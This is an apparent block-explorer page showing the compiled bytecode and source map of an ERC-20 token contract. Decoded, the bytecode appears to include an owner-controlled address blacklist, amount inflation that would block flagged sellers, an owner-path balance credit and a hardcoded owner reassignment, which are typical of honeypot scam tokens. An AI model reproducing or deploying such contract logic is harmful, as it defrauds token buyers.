ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9190611892565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0090611924565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610be791906115bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5a906119b6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc990611a48565b60405180910390fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d4057610d39600754826111b190919063ffffffff16565b9050610ed2565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610df15750610da0610713565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610e365750610e00610a23565b73ffffffffffffffffffffffffffffffffffffffff16610e1e610713565b73ffffffffffffffffffffffffffffffffffffffff16145b15610ed157610e8d81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090611ada565b60405180910390fd5b6000610f836064610f75600954866111b190919063ffffffff16565b61128990919063ffffffff16565b9050610fd783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110669190611b29565b6110709190611b7f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161113291906115bd565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866111959190611b7f565b6040516111a291906115bd565b60405180910390a35050505050565b60008083036111c35760009050611225565b600082846111d19190611bb3565b90508284826111e09190611c3c565b14611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790611cdf565b60405180910390fd5b809150505b92915050565b600080828461123a9190611b29565b90508381101561127f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127690611d4b565b60405180910390fd5b8091505092915050565b60006112cb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061131d565b905092915050565b600061131583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611380565b905092915050565b60008083118290611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b919061147d565b60405180910390fd5b50600083856113739190611c3c565b9050809150509392505050565b60008383111582906113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf919061147d565b60405180910390fd5b50600083856113d79190611b7f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141e578082015181840152602081019050611403565b8381111561142d576000848401525b50505050565b6000601f19601f8301169050919050565b600061144f826113e4565b61145981856113ef565b9350611469818560208601611400565b61147281611433565b840191505092915050565b600060208201905081810360008301526114978184611444565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114cf826114a4565b9050919050565b6114df816114c4565b81146114ea57600080fd5b50565b6000813590506114fc816114d6565b92915050565b6000819050919050565b61151581611502565b811461152057600080fd5b50565b6000813590506115328161150c565b92915050565b6000806040838503121561154f5761154e61149f565b5b600061155d858286016114ed565b925050602061156e85828601611523565b9150509250929050565b60008115159050919050565b61158d81611578565b82525050565b60006020820190506115a86000830184611584565b92915050565b6115b781611502565b82525050565b60006020820190506115d260008301846115ae565b92915050565b6000806000606084860312156115f1576115f061149f565b5b60006115ff868287016114ed565b9350506020611610868287016114ed565b925050604061162186828701611523565b9150509250925092565b6000602082840312156116415761164061149f565b5b600061164f848285016114ed565b91505092915050565b611661816114c4565b82525050565b600060208201905061167c6000830184611658565b92915050565b600080604083850312156116995761169861149f565b5b60006116a7858286016114ed565b92505060206116b8858286016114ed565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061170957607f821691505b60208210810361171c5761171b6116c2565b5b50919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f20616c6c6f77616e636500000000000000000000000000000000000000000000602082015250565b600061177e602a836113ef565b915061178982611722565b604082019050919050565b600060208201905081810360008301526117ad81611771565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006117ea6020836113ef565b91506117f5826117b4565b602082019050919050565b60006020820190508181036000830152611819816117dd565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061187c6025836113ef565b915061188782611820565b604082019050919050565b600060208201905081810360008301526118ab8161186f565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061190e6023836113ef565b9150611919826118b2565b604082019050919050565b6000602082019050818103600083015261193d81611901565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006119a06026836113ef565b91506119ab82611944565b604082019050919050565b600060208201905081810360008301526119cf81611993565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a326024836113ef565b9150611a3d826119d6565b604082019050919050565b60006020820190508181036000830152611a6181611a25565b9050919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ac46028836113ef565b9150611acf82611a68565b604082019050919050565b60006020820190508181036000830152611af381611ab7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b3482611502565b9150611b3f83611502565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b7457611b73611afa565b5b828201905092915050565b6000611b8a82611502565b9150611b9583611502565b925082821015611ba857611ba7611afa565b5b828203905092915050565b6000611bbe82611502565b9150611bc983611502565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c0257611c01611afa565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611c4782611502565b9150611c5283611502565b925082611c6257611c61611c0d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611cc96021836113ef565b9150611cd482611c6d565b604082019050919050565b60006020820190508181036000830152611cf881611cbc565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611d35601b836113ef565b9150611d4082611cff565b602082019050919050565b60006020820190508181036000830152611d6481611d28565b905091905056fea264697066735822122030647fa72aaf751779d3cf2f29087790c700e0e4facea98dae8d373b3f0dc2e364736f6c634300080e0033

Deployed Bytecode Sourcemap

3580:4043:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4781:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6566:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5066:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7263:355;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4971:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4239:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6440:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4289:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4393:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3123:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4874:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6219:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3341:230;;;:::i;:::-;;7104:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4500:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4781:85;4820:13;4853:5;4846:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4781:85;:::o;6566:173::-;6651:4;6668:41;6677:12;:10;:12::i;:::-;6691:7;6700:8;6668;:41::i;:::-;6727:4;6720:11;;6566:173;;;;:::o;5066:102::-;5121:7;5148:12;;5141:19;;5066:102;:::o;7263:355::-;7370:4;7387:37;7397:6;7405:9;7416:7;7387:9;:37::i;:::-;7435:24;7462:11;:19;7474:6;7462:19;;;;;;;;;;;;;;;:33;7482:12;:10;:12::i;:::-;7462:33;;;;;;;;;;;;;;;;7435:60;;7534:7;7514:16;:27;;7506:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;7606:4;7599:11;;;7263:355;;;;;:::o;4971:87::-;5014:7;5041:9;;5034:16;;4971:87;:::o;4239:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;6440:118::-;6506:7;6533:8;:17;6542:7;6533:17;;;;;;;;;;;;;;;;6526:24;;6440:118;;;:::o;4289:94::-;3266:12;:10;:12::i;:::-;3256:22;;:6;;;;;;;;;;:22;;;3248:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4371:4:::1;4350:9;:18;4360:7;4350:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;4289:94:::0;:::o;4393:97::-;3266:12;:10;:12::i;:::-;3256:22;;:6;;;;;;;;;;:22;;;3248:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4477:5:::1;4456:9;:18;4466:7;4456:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;4393:97:::0;:::o;3123:87::-;3169:7;3196:6;;;;;;;;;;;3189:13;;3123:87;:::o;4874:89::-;4915:13;4948:7;4941:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4874:89;:::o;6219:211::-;6307:4;6324:13;6340:12;:10;:12::i;:::-;6324:28;;6363:37;6373:5;6380:9;6391:8;6363:9;:37::i;:::-;6418:4;6411:11;;;6219:211;;;;:::o;3341:230::-;3266:12;:10;:12::i;:::-;3256:22;;:6;;;;;;;;;;:22;;;3248:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3448:42:::1;3411:81;;3432:6;::::0;::::1;;;;;;;;3411:81;;;;;;;;;;;;3520:42;3503:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3341:230::o:0;7104:151::-;7193:7;7220:11;:18;7232:5;7220:18;;;;;;;;;;;;;;;:27;7239:7;7220:27;;;;;;;;;;;;;;;;7213:34;;7104:151;;;;:::o;4500:103::-;4553:4;4577:9;:18;4587:7;4577:18;;;;;;;;;;;;;;;;;;;;;;;;;4570:25;;4500:103;;;:::o;869:115::-;922:15;965:10;950:26;;869:115;:::o;6747:349::-;6867:1;6850:19;;:5;:19;;;6842:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6949:1;6930:21;;:7;:21;;;6922:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7032:7;7002:11;:18;7014:5;7002:18;;;;;;;;;;;;;;;:27;7021:7;7002:27;;;;;;;;;;;;;;;:37;;;;7071:7;7055:33;;7064:5;7055:33;;;7080:7;7055:33;;;;;;:::i;:::-;;;;;;;;6747:349;;;:::o;5176:1035::-;5303:1;5285:20;;:6;:20;;;5277:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5388:1;5367:23;;:9;:23;;;5359:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5455:9;:17;5465:6;5455:17;;;;;;;;;;;;;;;;;;;;;;;;;5451:279;;;5499:25;5511:12;;5499:7;:11;;:25;;;;:::i;:::-;5489:35;;5451:279;;;5573:6;;;;;;;;;;;5563:16;;:6;:16;;;:37;;;;;5593:7;:5;:7::i;:::-;5583:17;;:6;;;;;;;;;;;:17;;;5563:37;:64;;;;;5615:12;:10;:12::i;:::-;5604:23;;:7;:5;:7::i;:::-;:23;;;5563:64;5560:159;;;5670:29;5691:7;5670:8;:16;5679:6;5670:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5651:8;:16;5660:6;5651:16;;;;;;;;;;;;;;;:48;;;;5560:159;5451:279;5740:16;5759:8;:16;5768:6;5759:16;;;;;;;;;;;;;;;;5740:35;;5806:7;5794:8;:19;;5786:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5878:17;5922:30;5948:3;5922:21;5934:8;;5922:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;5910:42;;5982:29;6003:7;5982:8;:16;5991:6;5982:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5963:8;:16;5972:6;5963:16;;;;;;;;;;;;;;;:48;;;;6073:9;6065:7;6045:8;:19;6054:9;6045:19;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;:37;;;;:::i;:::-;6022:8;:19;6031:9;6022:19;;;;;;;;;;;;;;;:60;;;;6115:12;;;;;;;;;;;6098:41;;6107:6;6098:41;;;6129:9;6098:41;;;;;;:::i;:::-;;;;;;;;6172:9;6155:46;;6164:6;6155:46;;;6191:9;6183:7;:17;;;;:::i;:::-;6155:46;;;;;;:::i;:::-;;;;;;;;5264:947;;5176:1035;;;:::o;1825:252::-;1883:7;1914:1;1909;:6;1905:47;;1939:1;1932:8;;;;1905:47;1964:9;1980:1;1976;:5;;;;:::i;:::-;1964:17;;2009:1;2004;2000;:5;;;;:::i;:::-;:10;1992:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2068:1;2061:8;;;1825:252;;;;;:::o;1258:181::-;1316:7;1336:9;1352:1;1348;:5;;;;:::i;:::-;1336:17;;1377:1;1372;:6;;1364:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1430:1;1423:8;;;1258:181;;;;:::o;2085:132::-;2143:7;2170:39;2174:1;2177;2170:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2163:46;;2085:132;;;;:::o;1447:136::-;1505:7;1532:43;1536:1;1539;1532:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1525:50;;1447:136;;;;:::o;2225:227::-;2345:7;2377:1;2373;:5;2380:12;2365:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2404:9;2420:1;2416;:5;;;;:::i;:::-;2404:17;;2443:1;2436:8;;;2225:227;;;;;:::o;1591:226::-;1711:7;1744:1;1739;:6;;1747:12;1731:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1771:9;1787:1;1783;:5;;;;:::i;:::-;1771:17;;1808:1;1801:8;;;1591:226;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:329::-;4530:6;4579:2;4567:9;4558:7;4554:23;4550:32;4547:119;;;4585:79;;:::i;:::-;4547:119;4705:1;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4676:117;4471:329;;;;:::o;4806:118::-;4893:24;4911:5;4893:24;:::i;:::-;4888:3;4881:37;4806:118;;:::o;4930:222::-;5023:4;5061:2;5050:9;5046:18;5038:26;;5074:71;5142:1;5131:9;5127:17;5118:6;5074:71;:::i;:::-;4930:222;;;;:::o;5158:474::-;5226:6;5234;5283:2;5271:9;5262:7;5258:23;5254:32;5251:119;;;5289:79;;:::i;:::-;5251:119;5409:1;5434:53;5479:7;5470:6;5459:9;5455:22;5434:53;:::i;:::-;5424:63;;5380:117;5536:2;5562:53;5607:7;5598:6;5587:9;5583:22;5562:53;:::i;:::-;5552:63;;5507:118;5158:474;;;;;:::o;5638:180::-;5686:77;5683:1;5676:88;5783:4;5780:1;5773:15;5807:4;5804:1;5797:15;5824:320;5868:6;5905:1;5899:4;5895:12;5885:22;;5952:1;5946:4;5942:12;5973:18;5963:81;;6029:4;6021:6;6017:17;6007:27;;5963:81;6091:2;6083:6;6080:14;6060:18;6057:38;6054:84;;6110:18;;:::i;:::-;6054:84;5875:269;5824:320;;;:::o;6150:229::-;6290:34;6286:1;6278:6;6274:14;6267:58;6359:12;6354:2;6346:6;6342:15;6335:37;6150:229;:::o;6385:366::-;6527:3;6548:67;6612:2;6607:3;6548:67;:::i;:::-;6541:74;;6624:93;6713:3;6624:93;:::i;:::-;6742:2;6737:3;6733:12;6726:19;;6385:366;;;:::o;6757:419::-;6923:4;6961:2;6950:9;6946:18;6938:26;;7010:9;7004:4;7000:20;6996:1;6985:9;6981:17;6974:47;7038:131;7164:4;7038:131;:::i;:::-;7030:139;;6757:419;;;:::o;7182:182::-;7322:34;7318:1;7310:6;7306:14;7299:58;7182:182;:::o;7370:366::-;7512:3;7533:67;7597:2;7592:3;7533:67;:::i;:::-;7526:74;;7609:93;7698:3;7609:93;:::i;:::-;7727:2;7722:3;7718:12;7711:19;;7370:366;;;:::o;7742:419::-;7908:4;7946:2;7935:9;7931:18;7923:26;;7995:9;7989:4;7985:20;7981:1;7970:9;7966:17;7959:47;8023:131;8149:4;8023:131;:::i;:::-;8015:139;;7742:419;;;:::o;8167:224::-;8307:34;8303:1;8295:6;8291:14;8284:58;8376:7;8371:2;8363:6;8359:15;8352:32;8167:224;:::o;8397:366::-;8539:3;8560:67;8624:2;8619:3;8560:67;:::i;:::-;8553:74;;8636:93;8725:3;8636:93;:::i;:::-;8754:2;8749:3;8745:12;8738:19;;8397:366;;;:::o;8769:419::-;8935:4;8973:2;8962:9;8958:18;8950:26;;9022:9;9016:4;9012:20;9008:1;8997:9;8993:17;8986:47;9050:131;9176:4;9050:131;:::i;:::-;9042:139;;8769:419;;;:::o;9194:222::-;9334:34;9330:1;9322:6;9318:14;9311:58;9403:5;9398:2;9390:6;9386:15;9379:30;9194:222;:::o;9422:366::-;9564:3;9585:67;9649:2;9644:3;9585:67;:::i;:::-;9578:74;;9661:93;9750:3;9661:93;:::i;:::-;9779:2;9774:3;9770:12;9763:19;;9422:366;;;:::o;9794:419::-;9960:4;9998:2;9987:9;9983:18;9975:26;;10047:9;10041:4;10037:20;10033:1;10022:9;10018:17;10011:47;10075:131;10201:4;10075:131;:::i;:::-;10067:139;;9794:419;;;:::o;10219:225::-;10359:34;10355:1;10347:6;10343:14;10336:58;10428:8;10423:2;10415:6;10411:15;10404:33;10219:225;:::o;10450:366::-;10592:3;10613:67;10677:2;10672:3;10613:67;:::i;:::-;10606:74;;10689:93;10778:3;10689:93;:::i;:::-;10807:2;10802:3;10798:12;10791:19;;10450:366;;;:::o;10822:419::-;10988:4;11026:2;11015:9;11011:18;11003:26;;11075:9;11069:4;11065:20;11061:1;11050:9;11046:17;11039:47;11103:131;11229:4;11103:131;:::i;:::-;11095:139;;10822:419;;;:::o;11247:223::-;11387:34;11383:1;11375:6;11371:14;11364:58;11456:6;11451:2;11443:6;11439:15;11432:31;11247:223;:::o;11476:366::-;11618:3;11639:67;11703:2;11698:3;11639:67;:::i;:::-;11632:74;;11715:93;11804:3;11715:93;:::i;:::-;11833:2;11828:3;11824:12;11817:19;;11476:366;;;:::o;11848:419::-;12014:4;12052:2;12041:9;12037:18;12029:26;;12101:9;12095:4;12091:20;12087:1;12076:9;12072:17;12065:47;12129:131;12255:4;12129:131;:::i;:::-;12121:139;;11848:419;;;:::o;12273:227::-;12413:34;12409:1;12401:6;12397:14;12390:58;12482:10;12477:2;12469:6;12465:15;12458:35;12273:227;:::o;12506:366::-;12648:3;12669:67;12733:2;12728:3;12669:67;:::i;:::-;12662:74;;12745:93;12834:3;12745:93;:::i;:::-;12863:2;12858:3;12854:12;12847:19;;12506:366;;;:::o;12878:419::-;13044:4;13082:2;13071:9;13067:18;13059:26;;13131:9;13125:4;13121:20;13117:1;13106:9;13102:17;13095:47;13159:131;13285:4;13159:131;:::i;:::-;13151:139;;12878:419;;;:::o;13303:180::-;13351:77;13348:1;13341:88;13448:4;13445:1;13438:15;13472:4;13469:1;13462:15;13489:305;13529:3;13548:20;13566:1;13548:20;:::i;:::-;13543:25;;13582:20;13600:1;13582:20;:::i;:::-;13577:25;;13736:1;13668:66;13664:74;13661:1;13658:81;13655:107;;;13742:18;;:::i;:::-;13655:107;13786:1;13783;13779:9;13772:16;;13489:305;;;;:::o;13800:191::-;13840:4;13860:20;13878:1;13860:20;:::i;:::-;13855:25;;13894:20;13912:1;13894:20;:::i;:::-;13889:25;;13933:1;13930;13927:8;13924:34;;;13938:18;;:::i;:::-;13924:34;13983:1;13980;13976:9;13968:17;;13800:191;;;;:::o;13997:348::-;14037:7;14060:20;14078:1;14060:20;:::i;:::-;14055:25;;14094:20;14112:1;14094:20;:::i;:::-;14089:25;;14282:1;14214:66;14210:74;14207:1;14204:81;14199:1;14192:9;14185:17;14181:105;14178:131;;;14289:18;;:::i;:::-;14178:131;14337:1;14334;14330:9;14319:20;;13997:348;;;;:::o;14351:180::-;14399:77;14396:1;14389:88;14496:4;14493:1;14486:15;14520:4;14517:1;14510:15;14537:185;14577:1;14594:20;14612:1;14594:20;:::i;:::-;14589:25;;14628:20;14646:1;14628:20;:::i;:::-;14623:25;;14667:1;14657:35;;14672:18;;:::i;:::-;14657:35;14714:1;14711;14707:9;14702:14;;14537:185;;;;:::o;14728:220::-;14868:34;14864:1;14856:6;14852:14;14845:58;14937:3;14932:2;14924:6;14920:15;14913:28;14728:220;:::o;14954:366::-;15096:3;15117:67;15181:2;15176:3;15117:67;:::i;:::-;15110:74;;15193:93;15282:3;15193:93;:::i;:::-;15311:2;15306:3;15302:12;15295:19;;14954:366;;;:::o;15326:419::-;15492:4;15530:2;15519:9;15515:18;15507:26;;15579:9;15573:4;15569:20;15565:1;15554:9;15550:17;15543:47;15607:131;15733:4;15607:131;:::i;:::-;15599:139;;15326:419;;;:::o;15751:177::-;15891:29;15887:1;15879:6;15875:14;15868:53;15751:177;:::o;15934:366::-;16076:3;16097:67;16161:2;16156:3;16097:67;:::i;:::-;16090:74;;16173:93;16262:3;16173:93;:::i;:::-;16291:2;16286:3;16282:12;16275:19;;15934:366;;;:::o;16306:419::-;16472:4;16510:2;16499:9;16495:18;16487:26;;16559:9;16553:4;16549:20;16545:1;16534:9;16530:17;16523:47;16587:131;16713:4;16587:131;:::i;:::-;16579:139;;16306:419;;;:::o

Swarm Source

ipfs://30647fa72aaf751779d3cf2f29087790c700e0e4facea98dae8d373b3f0dc2e3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.